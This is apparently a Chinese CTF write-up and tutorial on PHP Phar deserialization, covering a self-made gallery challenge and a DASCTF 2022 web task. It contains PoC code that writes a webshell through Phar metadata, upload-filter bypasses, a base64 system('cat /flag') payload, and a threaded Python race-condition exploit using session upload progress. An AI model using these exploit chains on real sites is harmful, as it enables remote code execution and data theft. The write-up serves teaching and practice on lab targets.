PHP反序列化之Phar反序列化分析
前言
在文章开始之前,需要先搞清几个问题
什么是Phar
参考php.net
容易得知phar是一种php项目的打包文件,以便于分发和安装
The phar extension provides a way to put entire PHP applications into a single file called a “phar” (PHP Archive) for easy distribution and installation
Phar 还可以在 tar、zip 和 phar 文件格式之间进行转换
Phar also can convert between tar, zip and phar file formats
官方解释:可以把它当作PHP的U盘,拷到哪哪都能用
What is phar? Phar archives are best characterized as a convenient way to group several files into a single file. As such, a phar archive provides a way to distribute a complete PHP application in a single file and run it from that file without the need to extract it to disk. Additionally, phar archives can be executed by PHP as easily as any other file, both on the commandline and from a web server. Phar is kind of like a thumb drive for PHP applications.
参照下面这个用法,可以得知phar相当于一个存档
可以直接运行myphar.phar中的file.php
1 |
|
官方页面给出的phar://支持函数为fopen()、opendir()和 mkdir(),实际上还有很多函数
利用Phar的首要前提
Phar需要 PHP >= 5.2
使用Phar文件不需要任何的配置,但创建Phar文件需要修改php.ini文件(ini_set()无法修改php.ini中的phar.readonly)
1
phar.readonly = On
官方文档中还说
The PharData class provides a high-level interface to accessing and creating non-executable tar and zip archives. Because these archives do not contain a stub and cannot be executed by the phar extension, it is possible to create and manipulate regular zip and tar files using the PharData class even if
phar.readonly
php.ini setting is1
.
也就是phar.readonly = 1时,仍能使用PharData 类进行phar创建和操作
链接:https://www.php.net/manual/zh/class.phardata.php
Phar文件的使用方式
1 | phar://(phar文件本地路径) |
为什么通过Phar进行漏洞利用?
BlackHat大会上的,Sam Thomas分享了File Operation Induced Unserialization via the「phar://」Stream Wrapper这个议题,
也可通过本站进行PDF文件下载
PDF里面讲的内容简单概括就是可以通过phar://来进行反序列化触发操作,
因为在对phar进行解析的过程中触发了php_var_unserialize函数(php_var_unserialize所在的phar.c文件位置,在src/ext/phar/phar.c),对meta-data的操作
很多时候要利用某些反序列化漏洞时没法直接通过unserialize()这个入口进行反序列化操作,这时怎么办?
答案是可以使用phar://来对符合phar结构的文件进行解析,不依赖unserialize函数进行反序列化操作
可以利用的函数如下(不完全)
1 | fileatime / filectime / filemtimestat / fileinode / fileowner / filegroup / filepermsfile / file_get_contents / readfile / fopen / file_exists / file / is_dir / is_executable / is_file / is_link / is_executable / is_readable / is_writeable / is_writableparse_ini_fileunlink / copy / parse_ini_file / unlink / parse_ini_file |
然后就是本文的主要内容: phar的一个利用案例以及对2022DASCTF7月赋能赛的一道题目的分析
本文重点不是反序列化POP链的构造和利用,如果想了解POP链的构造和利用,可以移步本站另外一篇文章
正文前
Phar归档的组成
Phar归档由以下四部分组成(参照:PHP文档),PHP判别是否为Phar归档时并不通过文件的后缀名来判别(调皮一下:它看的是内心)
Phar归档可以设置任意后缀名
stub:Phar标志,这个标志表示此文件为Phar归档。
PHP官方文档已有说明,最小的stub是<?php __HALT_COMPILER();
A Phar’s stub is a simple PHP file. The smallest possible stub follows:
1
<?php __HALT_COMPILER();
而必须包含__HALT_COMPILER();?>,
;
是可省略的,但也有要求There are no restrictions on the contents of a Phar stub, except for the requirement that it conclude with
__HALT_COMPILER();
.The closing PHP tag
?>
may be included or omitted, but there can be no more than 1 space between the;
and the close tag?>
or the phar extension will be unable to process the Phar archive’s manifest.manifest: 此部分用于存放描述压缩于phar归档中的文件的权限、属性等信息,我们要利用的地方是里面的meta-data
file contents: 存储的压缩文件
signature: Phar归档的签名,用于辨别Phar归档是否被修改过,支持的签名格式有 MD5、SHA1、SHA256、SHA512 和 OPENSSL
Phar归档manifest的格式
(参照官方文档)
我们利用的主要位置就是manifest中的??那一行
也就是存储着序列化数据的位置,Serialized Phar Meta-data
Phar归档的创建
修改php.ini
ctrl+f搜索phar.readonly
将On修改为Off
生成可利用的Phar的基本代码
以下是生成一个phar文件的基本程序
1 |
|
注意生成phar时后缀名一定要为phar,否则报如下错误
不过利用的时候后缀名是不是phar并不重要
生成Phar文件
编辑.php文件如下
1 |
|
假设上述程序代码保存为1.php,
那么只需要执行(前提是php已经设置于环境变量中,或者跑到php程序目录打开命令行)
1 | php 1.php |
即可生成phar.phar
查看phar文件
通过010 Editor查看phar归档内部结构
将其分为四个部分,可以看到序列化的对象放在第二部分
以下内容和序列化后的对象对比,内容一致
1 |
|
简单利用Phar的stub的特点
注意到phar归档的stub信息在文件开头的位置
如果我们设置stub为如下
1 | //设置stub |
同时改变生成的phar文件的后缀名,即可达到绕过文件限制上传的效果
生成的phar归档如下,此时文件MIME类型会为image/gif
Phar的简单使用方式
创建一个phar归档
先使用如下代码创建一个phar归档
下面的程序的Test类是上面那个Test类修改了一些代码,
添加了__destruct()方法在对象销毁时触发test_it()方法以便直观地展示
1 |
|
使用include配合phar://协议
创建包含以下代码的php文件
1 |
|
执行它可以发现对象被创建了(因为打印了OK),
可是上面的代码并没有实例化对象的操作,也没有unserialize函数
使用其它可用函数
一开始已经说过有很多函数都能处理phar
尝试使用file_exists函数
1 |
|
结果如下
将phar.phar改为phar.txt同样可以
其它的协议配合phar协议
php://filter/read
1 | php://filter/read=convert.base64-encode/resource=phar://phar.txt |
OK出现在最后
php://filter/resource
1 | php://filter/resource=phar://phar.txt/test.txt |
可能是我在生成phar前没有创建test.txt,报了一堆Warning说test.txt不存在
但是最后仍然出现OK,也就是利用成功
经过测试,最后可以随便填文件名
compress.zlib://
1 | compress.zlib://phar://phar.txt/test.txt |
或
1 | compress.zlib://phar://phar.txt |
结果如下
compress.bzip://
没有测试成功,可能是我的PHP没有Bzip / Gzip 扩展
1 | compress.bzip://phar://phar.txt/test.txt |
compress.bzip2://
没有测试成功,可能是我的PHP没有Bzip / Gzip 扩展
1 | compress.bzip2://phar://phar.txt/test.txt |
反序列化利用
先写个类
以下代码仍然使用上面编写的测试类,但是让它的输出内容变成其它文字,而不是“OK”
1 |
|
构造Phar
修改可控变量内容为想要的内容
1 |
|
结果
结果如下,成功输出I need to change 'OK' to 'OoooooooK'
正文
上面的内容,对Phar是初步的了解
phar反序列化的题目往往都使用了类(class),因为phar反序列化的利用总是与类有关(PHP对象注入)
下面将举个例子,简单说明phar的利用手法
假设场景
为了方便讲解,我出了一个简单的题
假如有这么一个图库,允许用户上传和查看图片、删除图片
题目源码
总共三个文件
config.php
index.php
upload.php
源码在文章后部分”源码获取与运行“处
题目分析
题目主页
访问主页,可以见到以下界面
右上角有个上传,随便上传点东西
此时主页是这样的
查看网页源代码可以发现提示
上传不是图片的文件都是不可行的
改成jpg虽然可以上传,但是图片马无法利用,
服务器配置文件写了只允许后缀为.php的文件才能作为PHP程序运行,
并且存储目录也不是网站目录
图片显示依靠base64编码
先看config.php
可知图片存储目录在/tmp/pic/
flag在这个config.php中,要想办法读到服务器上的config.php
同时存在一些函数
check_images函数用于检查文件后缀名
还有一个类用于文件删除
有一个变量$file_name可以直接控制,此变量可POST参数del进行控制,
但是并不能删除任意文件,因为删除前会检查是否删除的文件是否在图片目录内,也不能通过../进行目录穿越
1 | //删除文件专用类 |
看主页index.php
删除文件依靠向index.php POST 变量del,内容是文件路径,是可控的
所有图片展示依靠遍历目录实现,还会判断文件是不是图片文件
图片内容输出依靠file_get_contents函数配合base64编码
看上传页upload.php
上传限制住了文件后缀名和MIME类型
这里限制文件20KB是因为服务器带宽有限,图片又大又多会导致页面加载缓慢
分析
整个图库的功能非常简单:图片展示、图片上传、图片删除
以常规眼光来看,总体看起来这个图库非常安全:
- 上传只允许图片,限制了后缀名
- 图片文件存储的目录不在网站目录下,无法通过URL直接访问上传的文件
- 无法任意删除文件,只能删除处于图片存储目录下的文件
- 传参del如果是不存在的文件可以写进日志,但日志文件路径写死了
但是现在有phar反序列化可以使用,整个图库也有了突破点
利用
要进行phar反序列化的利用,首先先找能控制触发phar反序列化的函数
index.php中有一个file_get_contents函数,但是没法进行控制
1 |
|
因为$file_loc来自对/tmp/pic目录的遍历,文件名不能设置为phar://(文件名不允许//
)
1 | $dir = opendir( $pic_save_path ); |
然后就是config.php中的delfile类有file_exists函数和file_put_contents函数
这里有戏,在对象销毁时将会调用del方法,此时可以控制file_exists函数的传入变量$this->file_name
先看看哪里使用了这个类
在index.php中实例化了delfile这个类,用于删除指定图片
$del变量的值是$_POST获取的post参数del
1 |
|
传入的$del变量赋值给了我们要控制的$this->file_name,也就是$this->file_name是可控的
我们只需要上传制作的phar文件,然后POST:del=phar:///tmp/pic/上传的phar文件
即可触发反序列化
(反序列化相当于对象的还原,也可以理解为实例化了一个对象)
1 | //删除文件专用类 |
光有反序列化触发还不够,还需要找到能利用的地方进行getshell/rce
如下,还有file_put_contents函数
1 | 部分省略................ |
反序列化时$this->log_file_path可控,可以赋值为/var/www/html
,即网站目录
然后反序列化时$this->file_name也可控,赋值为<?php ?>即可执行php程序
思路就很清晰了
- POST:
del=phar:///tmp/pic/上传的phar文件
$del_fun->mark_file($del)
—》$this->file_name = phar:///tmp/pic/上传的phar文件
- 对象销毁触发魔术方法__destruct()
$this->del()
—》file_exists($this->file_name)
- phar解析时触发反序列化,反序列化了delfile对象
$this->file_name = "<?php phpinfo(); ?>"
,$this->log_file_path = "/var/www/html/phpinfo.php"
- 反序列化的delfile对象销毁,触发魔术方法__destruct()
$this->del()
—》file_exists($this->file_name)
—》false —》$this->filenotfound_recording()
$write = "Meet_notfound at file: {$this->file_name}\n"
- 利用
file_put_contents(\$this->log_file_path, $write, FILE_APPEND)
写<?php phpinfo(); ?>
到/var/www/html/phpinfo.php
- 访问phpinfo.php出现phpinfo,完成
poc如下, 写入php_info.php到/var/www/html/,内容是<?php phpinfo(); ?>,当然也可以是一句话木马
想进一步了解为什么这样写可以移步本站另外一篇文章
1 | class delfile { |
创建一个phar文件,创建的phar文件的文件名是phar.phar
1 |
|
将phar.phar改名为phar.jpg
上传
需要记住这个位置
打开Brup Suite保持监听,点击删除
按钮时抓包(当然可以使用hackbar,能post传参就行)
抓到post请求
修改参数del的值(加上phar://)
1 | del=phar:///tmp/pic/phar.png |
Go
此时访问php_info.php,可以发现成功写入
所讲题目源码获取
方式0(推荐)
可直接访问本站ctfm平台启动题目
方式1(源码下载)
php源码zip打包:点击下载
使用方法:
确保安装了PHP和Web中间件(Nginx或Apache-HTTPd)
- 解压下载的zip文件到网站目录
- 访问服务器开放的指定端口
注意:测试完记得删除这三个文件防止被利用导致财产损失
方式2(会用docker建议使用)
docker-compose文档zip打包:点击下载
使用方法:
确保安装了docker与docker-compose
解压下载的zip文件
进入解压后的目录(如何判断有没有正确进入:能看到Dockefile在当前目录)
修改docker-compose.yml(此步可跳过)
找到如下部分,将8085改为你想要的端口
1
2ports:
- 8085:80执行以下命令创建镜像(权限不足请加sudo)
1
docker-compose build
启动
1
docker-compose up -d
访问指定端口(没改的话就是8085)
检验
如果想检验对上述的知识的理解程度,
可以尝试做下这题(本题大概在2022.8.27前一直开着,以后可能也会开着,再说),
题目崩了的话麻烦使用邮箱联系我,邮件主题请写phar反序列化知识简单检验的题目崩了
PS: 要EXP也可以联系392147548@qq.com, 邮件主题请写 我需要phar反序列化知识简单检验的exp
有非预期解(也就是不用phar)的话可以在评论区留言非预期解,>︿<
题目位于分类TEST
下,名字为私人图库2Plus
题目Ez to getflag
题目是2022 DASCTF 7月赋能赛的一道WEB题,
虽然有个非预期,通过其”搜索“功能直接输入/flag就能拿flag,但是并不影响其作为phar反序列化题目来进行讲解
题目没有给附件,但是可以通过其”搜索“功能读出源码
源码
file.php
1 |
|
index.php
这个index.php不是官方原版哈,
当时忘记保存了,现在只好自己简单写一个(功能是一致的)
1 | <?php |
class.php
可以发现其中有三个类:Upload、Show、Test类
非常贴心的给了Test类
1 |
|
分析
主要的东西都在class.php里面
构造链
关于POP链的构造原理这里就不详细展开了,如果想详细了解的话欢迎移步本站另外一篇文章
整条链是这样的:
1 | Test::__destruct() ---》 Upload::__toString() ---》 Show::__get() ---》 Show::__call |
详细分析
首先是Test类里面的__destruct()
1 | public function __destruct() |
如果将$this->str
赋值为Upload类的对象,就可以触发Upload类里的__toString()
方法
因为echo是字符串操作
1 | class Test{ |
然后是Upload类里面的__toString()
方法
$cont->$size
有点小不同,读取对象$cont
里的变量的值,假如变量名是abcd,应该是$cont->abcd
才对,但这里显然不是,
这里这样写的话我感觉是一种比较灵活的写法,也是PHP特性的一种利用。
PHP里面比如说执行一个函数,例如system函数,一般写成system()
,
当然也可以写成$a="system";$a();
,相当于"system"();
类比一下,$cont->$size
意思并不是对象$cont
里面的size变量,而是读取对象$cont
里面名为$size
的变量
1 | function __toString(){ |
$size
来自$this->fsize
,$cont
来自$this->fname
,令$this->fname
为Show类的对象,即可触发Show类的__get()
方法
那么$this->fsize
的值应该是什么?继续往下走
1 | class Upload{ |
继续看Show类的__get
方法
复习一下__get
方法,__get
方法会在访问对象中不存在的或私有的变量时被调用
也就是执行到$cont->$size
时,想要触发__get
,则$size
的内容不能为Upload类中的变量名,即source
,
满足上面条件时,触发__get
,$name
即为$size
的内容,具体填什么还需要继续看下去
1 | function __get($name) |
最后到Show类的__call
方法
来复习一下__call
方法,__call
方法在访问对象中私有的方法或不存在的方法时被调用,
$name
是调用的方法名,$arguments
是所调用方法的()
中填的参数
所以,上面的$this->ok($name);
,
对应来说,$name
是”ok”,$arguments
的值是$this->ok($name);
里的$name
也就是说fsize填”phpinfo“就会调用phpinfo();
,填其它值就会调用$this->backdoor
,最终include();
1 | public function __call($name, $arguments) |
到此,第一步已经完成,可以开始构造phar归档了
以下是构造phar文档和phar的利用方法
1 |
|
然后使用gzip压缩phar.phar(这里利用了一个特性:gzip压缩后不影响phar://
的利用)
1 | gzip phar.phar |
因为Upload类中的file_check方法会对文件内容进行检查
1 | $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|' . |
打开未进行gzip压缩的phar文件,可以发现存在”<?php“和”php” (phpinfo),这是不允许的
而gzip压缩后的phar文件已经没有了相关字符
当然也可以用文章前面部分提及的compress.bzip://
或compress.bzip2://
,这里没有限制,
但是官方文档中有说明:
想要利用压缩 phar,需要启用 zlib 和 bzip2 扩展。 此外,想要利用 OpenSSL 签名,需要开启 OpenSSL 扩展才能使用。
然后将文件名改为phar.png然后上传
获取保存在服务器上的文件名
因为文件上传成功之后会计算文件名md5作为保存的文件名
1 | class Upload { |
到file.php触发反序列化,此时应当能看到phpinfo
关于下一步的利用请继续看
解题方案
经过我的研究,正经解法的话,这题三种路径都能进行解题
官方WP中写的解法
- 上传gzip压缩之后的phar文件
- 条件竞争进行php文件上传
- 在file.php使用
phar://
来触发反序列化,session文件包含
其它路径第一种(无需gzip压缩)
- 上传phar文件(Stub设置为
__HALT_COMPILER(); ?>
) - 条件竞争进行php文件上传
- 在file.php使用
phar://
来触发反序列化,session文件包含
- 上传phar文件(Stub设置为
其它路径第二种(最容易操作)
- 上传base64编码后的php程序
- 上传gzip压缩之后的Phar文件(配合
php://filter/read=convert.base64-decode
) - 在file.php使用
phar://
来触发反序列化
具体操作请看下面部分
官方WP中写的解法
以下部分来自官方WP
phar的生成
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
class Upload{
public $fname;
public $fsize;
}
class Show{
public $source;
}
class Test{
public $str;
}
$upload = new Upload();
$show = new Show();
$test = new Test();
$test->str = $upload;
$upload->fname=$show;
$upload->fsize='/tmp/sess_chaaa';
// $test->str = 'okkkk';
@unlink("shell.phar");
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
生成的phar.phar需要进行gzip压缩,并改名为shell.png
利用php的session上传进度以及文件上传的条件竞争进行文件包含
编写python脚本进行文件包含,脚本如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62 import sys,threading,requests,re
from hashlib import md5
HOST = sys.argv[1]
PORT = sys.argv[2]
flag=''
check=True
# 触发phar文件反序列化去包含session上传进度文件
def include(fileurl,s):
global check,flag
while check:
fname = md5('shell.png'.encode('utf-8')).hexdigest()+'.png'
params = {
'f': 'phar://upload/'+fname
}
res = s.get(url=fileurl, params=params)
if "working" in res.text:
flag = re.findall('upload_progress_working(DASCTF{.+})',res.text)[0]
check = False
# 利用session.upload.progress写入临时文件
def sess_upload(url,s):
global check
while check:
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working',system('cat /flag');?>\"); ?>"
}
cookies={
'PHPSESSID': 'chaaa'
}
files={
'file': ('chaaa.png', b'cha'*300)
}
s.post(url=url,data=data,cookies=cookies,files=files)
def exp(ip, port):
url = "http://"+ip+":"+port+"/"
fileurl = url+'file.php'
uploadurl = url+'upload.php'
num = threading.active_count()
# 上传phar文件
file = {'file': open('./shell.png', 'rb')}
ret = requests.post(url=uploadurl, files=file)
# 文件上传条件竞争获取flag
event=threading.Event()
s1 = requests.Session()
s2 = requests.Session()
for i in range(1,10):
threading.Thread(target=sess_upload,args=(uploadurl,s1)).start()
for i in range(1,10):
threading.Thread(target=include,args=(fileurl,s2,)).start()
event.set()
while threading.active_count() != num:
pass
if __name__ == '__main__':
exp(HOST, PORT)
print(flag)
测试成功
其它路径第一种
生成phar的程序如下
1 |
|
生成的phar文件需要改名为shell.png,不需要gzip压缩
然后还是官方WP的套路,条件竞争+session文件包含
以下是官方WP的利用程序
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62 import sys,threading,requests,re
from hashlib import md5
HOST = sys.argv[1]
PORT = sys.argv[2]
flag=''
check=True
# 触发phar文件反序列化去包含session上传进度文件
def include(fileurl,s):
global check,flag
while check:
fname = md5('shell.png'.encode('utf-8')).hexdigest()+'.png'
params = {
'f': 'phar://upload/'+fname
}
res = s.get(url=fileurl, params=params)
if "working" in res.text:
flag = re.findall('upload_progress_working(DASCTF{.+})',res.text)[0]
check = False
# 利用session.upload.progress写入临时文件
def sess_upload(url,s):
global check
while check:
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working',system('cat /flag');?>\"); ?>"
}
cookies={
'PHPSESSID': 'chaaa'
}
files={
'file': ('chaaa.png', b'cha'*300)
}
s.post(url=url,data=data,cookies=cookies,files=files)
def exp(ip, port):
url = "http://"+ip+":"+port+"/"
fileurl = url+'file.php'
uploadurl = url+'upload.php'
num = threading.active_count()
# 上传phar文件
file = {'file': open('./shell.png', 'rb')}
ret = requests.post(url=uploadurl, files=file)
# 文件上传条件竞争获取flag
event=threading.Event()
s1 = requests.Session()
s2 = requests.Session()
for i in range(1,10):
threading.Thread(target=sess_upload,args=(uploadurl,s1)).start()
for i in range(1,10):
threading.Thread(target=include,args=(fileurl,s2,)).start()
event.set()
while threading.active_count() != num:
pass
if __name__ == '__main__':
exp(HOST, PORT)
print(flag)
利用成功
其它路径第二种
此方法不需要进行条件竞争
新建一个的文件,输入以下内容后将文件名改为.png后缀(例如1.png)
1 | PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg== |
上面的内容其实是base64编码后的php程序
上传1.png
计算文件名
构造phar归档的程序如下
1 |
|
上传经过gzip压缩的phar文档
触发phar反序列化
1 | file.php?f=phar://upload/ed54ee58cd01e120e27939fe4a64fa92.png |
本地测试成功
去比赛平台测试也是可行的
Phar的利用知识参考链接
参考学习了以下这些文章,非常感谢(文章质量不排前后顺序)
结尾
本文完成约耗时三天,篇幅较长,非常感谢你能看到这里😘
EOF